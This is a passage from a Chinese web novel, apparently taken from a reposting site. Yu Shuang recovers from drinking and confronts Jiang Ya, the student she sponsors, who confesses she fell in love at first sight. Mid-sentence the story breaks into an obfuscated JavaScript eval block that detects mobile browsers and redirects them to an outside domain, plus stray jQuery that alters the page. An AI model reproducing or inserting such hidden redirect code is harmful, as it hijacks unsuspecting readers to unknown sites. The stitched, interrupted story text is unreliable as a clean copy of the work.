喻霜脑子空的。
转不过来。
早知道不该喝那么多酒。
软饮也不行。
木的。
无法进行任何有效思考。
下意识想尖叫,但理智又不知道为什么要尖叫。
算了,先睁开眼。
……睁不开。
不然还是睡吧。
都是梦,醒了就好了。
没睡着。
就在她想放弃的时候,谭笑来了。
拍着她的脸,终于给她拍醒了,喻霜眼神迷蒙地看着谭笑,谭笑赶紧让舒望蚰拿水来,刚说完,一只手递来个玻璃杯,是姜雅的手。
喻霜定定看着。
被谭笑喂了半杯水下肚,又是咋咋呼呼的声音,喻霜找回一点意识。
对谭笑伸出手,好友十分上道地将她拉起坐直。
喻霜坐正了,延迟的感官载入,晕眩,难受。
但眼前的情景清楚了。
谭笑、舒望蚰、姜雅,还有她的助理,一个不少,都围着她。
“醉死了?”谭笑紧张。
喻霜摇了摇头。
“好好好,不急,你缓缓。”
“还是该盯着你点,不能这么喝。”
坐正了,谭笑给喻霜拍背,而喻霜正对着姜雅,眼神也凝在少女身上,目不转睛。
其实眼前还带点模糊,并不是那么清楚,但彼此太过了解,喻霜清晰地看到,姜雅手指捏紧了一瞬,被她看得紧张,又强自忍耐着。
啊。
不是幻觉。
好复杂。
头要炸了。
“Anne。”谭笑的英文名。
“怎么了?”
谭笑一过来,喻霜把脑袋往她肚子上一杵,喃喃,“眼睛花,看不清楚。”
视线中,她眼神一经移开,姜雅紧捏的手便放开了,绷着的身体姿态缓缓松懈。
“……”
哎。
谭笑:“没事没事,睡一觉就好了,能走了吗?”
喻霜:“你送我回家。”
谭笑愣了下,回头看了舒望蚰一眼,舒教授倒是痛快,“可以。”
舒望蚰开车来的,今晚也没什么事,并不急。
“那小雅……”
喻霜抬手比划了下,“她们一起走。”指的是姜雅和助理。
姜雅:“那我送她回家。”
来的时候照旧是姜雅开喻霜的车。
谭笑觉得哪里没对。
助理刚张开嘴,喻霜拍板:“就这样。”
助理又收声。
谭笑:“你还能走吗?”
“等一下,给我几分钟。”
深呼吸几次,喻霜站了起来,步子发飘,靠着谭笑走。
姜雅伸出去的手见此又收了回来。
喻霜的车在停车场,舒望蚰的则在门口,姜雅带人去开车的空当,谭笑知道哪里不对劲了,“小章家和你家是两个方向,不如让她自己打车回去,回头报销?”
喻霜眼神是木的。
摇了摇头。
等她车开出来了,驾驶位上坐的不是姜雅,却是泊车员。
车窗降下来,姜雅条理清晰:“谭笑姐你送喻小姐先回家吧。”
“我今晚喝了酒,代驾在路上了,先送小章姐,再送我回去。”
谭笑觉得有点麻烦了。
扭头去看喻霜,如果姜雅不能开车,不如……
“好。”
人脸还没看到,先听到应答。
谭笑愣了下。
两拨人分道。
喻霜上了舒望蚰的车跟没骨头一样,谭笑看着她丝滑在后排躺下,关门的手一滞,“不如我跟她坐后排算了?”话是和舒望蚰商量的。
看了眼后视镜,舒望蚰:“好。”
喻霜反倒嫌弃,“我要躺,你去副驾。”
话说完,谭笑就挤了进来,大咧咧道:“刚好,睡我腿上。”
“……”
喻霜虚弱,“你老婆还在前面开车。”
“说什么呢,她能这么小心眼吗?”
“嗷。”
被谭笑一巴掌拍脑袋上,尚不清醒的脑子更木讷了。
前排的舒望蚰跟着笑了一声,一脚油门,繁华的展会在车后渐渐变小。
喻霜想睡,奈何压根睡不着。
要思考,脑子却也转不动。
她像是一台卡死的机器,就这样卡着,动弹不得。
哎,哎。
谭笑:“叹什么气呢?”
喻霜声音都是慢的,“你说,要是……”
“是什么,后半截呢?”
卷翘的睫毛下覆,密密麻麻盖住满是波澜的眸子,喻霜吞咽一下:“要是海海突然对我表白,你怎么看?”
“海海对你表白了?!”
谭笑声音瞬间高了八个度。果然很离谱吧。
海海是今年新入职的新人,雕塑专业的,很有想法的一个女生,主要是,年龄和姜雅一致。
谭笑:“她不是有对象吗?”
哦……
“假设。”喻霜打补丁。
谭笑眉梢机敏地挑了挑,并不在意,“那说明喻女士您魅力大呗,还能怎么?”
喻霜捏了捏额角,听得头更痛了。
“她那么小……”
还差着辈,乱了,全乱套。
“这有什么,怎么一股子封建味儿,我记得文滢女士四十多的时候,还有二十的男大追呢,那个时候你也没说什么啊!”
噢,她魅力无边的母亲大人……
那素材库就太多了。
喻霜不知道说什么。
笑笑蒜了。
“不,我当时说了话的。”
“说什么?”
“人生难得几回好,让文女士抓紧享受。”
“对嘛,这才是你!”
“……”
喻霜心死地靠上椅背,“我变了。”
“?”
“变封建了。”
“??你没事吧,喝迷糊了?”
谭笑伸手来摸她额头,嘟囔:“也没热啊,她这是说胡话了?”去拍舒望蚰。
喻霜把自己想象成一具平坦的尸体,一动不动。
舒望蚰觑后视镜一眼,“你让她自己眯会儿。”
谭笑果然不再来戳她。
*
代驾将助理姐姐送到地方,助理再三感谢姜雅后,离开了。
在小区内停好车,姜雅检查过,和代驾一起上电梯,在一楼分开。
按指纹开门。
室内黑漆漆的一片,姜雅试探着唤了一声喻小姐,没人应答,姜雅猜谭笑她们应该是将喻霜直接送上了二楼。
放轻脚步,换了鞋,姜雅只开了门廊的小灯。
洗了个手去给小黄放狗粮。
一勺子下去,感觉没对,还来不及拿起来看,一个狗头把她拱开,咔擦咔擦炫了个干净。
“……”
“你吃过了吧!小黄!”姜雅揪着狗耳朵问。
狗眼睛不敢和她对视,心虚。
摸了摸碗边,还有狗粮的碎屑,姜雅锤了狗头两下,叹气,“喻小姐对你可真好。”
喻霜:“……”
舀舀狗粮就叫好了?
小黄:“嗷。”甩尾巴,颇有点得意炫耀的意味。
立刻喜提主人又一巴掌拍脑门上。
“给你换个水。”放开狗,拿了水碗起身,进了厨房。
喻霜看着姜雅,视角很不一样。
至少是她以前不会用的打量角度。
带回来后又长高了,现在和她差不多,又或许比她还高点?喻霜没关注具体。
总之不矮,一米七往上,比例很适合做平面模特。
以前没往那方面想过,现在细看,细想,姜雅确实很独立自主,不是依靠人的类型。
姜雅在学校周围租的房子喻霜也去过,收拾得很整洁,没有阿姨也井井有条。
反观她,这辈子大抵是离不开家政。
喜欢女生?
对此喻霜无所谓。
尊重他人取向。
但是喜欢她……
啪。
灯光大盛,喻霜下意识闭目,眼前一片白炽。
“喻小姐?”
姜雅终于看见了坐在客厅角落沙发的喻霜。
喻霜点了点头。
“你怎么……也不开灯……”
不开灯也不出声,就这样坐着,怪怪的。
喻霜适应后,睁开眼睛看着姜雅,视野还是糊的,看了会儿,开口:“喝点甜的醒酒,不想动,没开灯。”
果然醉了,口齿不清,一个字一个字往外蹦。
喻霜放弃,“喂了小黄。”
“不管我,坐会儿就上楼。”
姜雅看向她手边,果然觑见了一只杯子,“还要我给你倒杯水吗?”
喻霜似乎想了想,点了点头。
等姜雅又倒了杯水出来,喻霜的目光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800885|167929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还是直直落她身上。
姜雅感觉不太对,“我脸上有什么吗?”
喻霜又摇头。
放下杯子,姜雅去收拾小黄,中途一刻回头,喻霜还是在看她。
姜雅心漏跳一拍,面色刷一下白了。
控制着情绪,姜雅慢声问道:“喻小姐,你是有什么想和我说的吗?”
小崽子,还会套她话了。
喻霜笑了一下。
什么都没说,端着杯子上楼了。
是醉了?
还是没有?
姜雅不知道。
*
次日喻霜醒了一天的酒,晚上溜小黄的时候,脑子终于才能丝滑转动。
不过她不确定是不是幻觉,决定再等一等。
又一天睡醒。
喻霜起床,下楼跑了个步,神清气爽。
回家吃了早饭,等阿姨出门买菜的功夫,喻霜哼着歌,在吧台给自己调酒。
姜雅看了眼时间,“这个点喝吗?”
“只有几度。”
一块冰块放下,酒液呈现出漂亮的分层,喻霜尝了口,满满的果汁甜味。
姜雅还想再说些什么,喻霜端着酒杯转过来,眼神清明,“我有事和你说,姜雅。”
思量好的话卡在了喉咙里,姜雅慢半拍地点了下头。
喻霜坐沙发上,阳光从窗外透进来,酒液折射的光点缀在玻璃杯沿,梦幻得像是一幅油画。
喝一大口酒,喻霜:“前天晚上我没醉死。”
姜雅想靠近的步伐陡然顿住。
喻霜抬头,神情正经得没有一丝暧昧。
明亮的光斑度在她侧脸,姜雅忽然觉得有些刺眼,眼球生疼。
“我想我的感觉没有错吧?”
喻霜直直地看着她。
“……没有。”
嗓子发哑,姜雅想,她或许远没有自己想象中勇敢。
但女孩儿还是站得很直,长发柔顺地垂落在她肩头,这一刻,喻霜才终于有了她早已成年的切实感受。
“是开玩笑吗?”
姜雅以为自己听错了。
喻霜又重复了一遍。
她知道她听得懂。
咂摸了两遍,姜雅确实领会了:这不是个问题,是个台阶,如果她点头,就此一笔勾销,以后……她们还是这样。
资助人和学生的关系。
姜雅的表情瞬间裂开了一条缝儿。
“你觉得我是在开玩笑吗?”
姜雅的反问超出喻霜预料。
听起来,隐隐竟是有些生气。
她还生气?
该生气的是她才对。
喻霜冷了脸色。
姜雅:“……”
姜雅:“对不起。”
喻霜额角突突地跳起来。
哈,对不起!
“对不起,喻小姐。”
侧了侧脸,喻霜捏额角:“什么时候的事?”
“是因为亲人都不在了的移情吗?”
“还是生活里就我一个熟悉一些的人,所以会有了不同的错觉……”
说着说着,喻霜的语气又软了下来。
恋母还是恋姐,本质上都是心理问题,如果是……
“不是。”
“不是移情。”
说了两遍。语气笃定。
喻霜终于去寻姜雅的眼睛,对视的刹那,喻霜眼睛微微睁大了。
姜雅表情很怪,她也不知道自己是哭还是笑,声音很难听。
至少她自己觉得很难听。
或许根本没有准备好的时候。
游刃有余的场景只存在于她的幻想中。
嘴唇几度开合,姜雅终于听见了自己的声音,带着晦暗的情绪:
“是第一次见面的时候。”
“一见钟情。”
喻霜不想相信。
原本她也不该相信这种可笑的说法。
但她见过这种眼神。
是雨后的山镇,背景是群山葱郁欲滴的翠绿,雨后的风带来湿漉漉的清新,姜雅就用这样的眼神望着她,问她是不是不喜欢自己。
一开始她竟然问过她是不是讨厌她……
眼波像是海平面,粼粼水光翻涌,暗底情绪洋流交织激荡。
仍旧很动人。
但她今天终于读懂了底下的情绪是什么。
轻出一口气,喻霜缓缓闭目。
“你去学校住一段时间吧。”
“带上小黄。”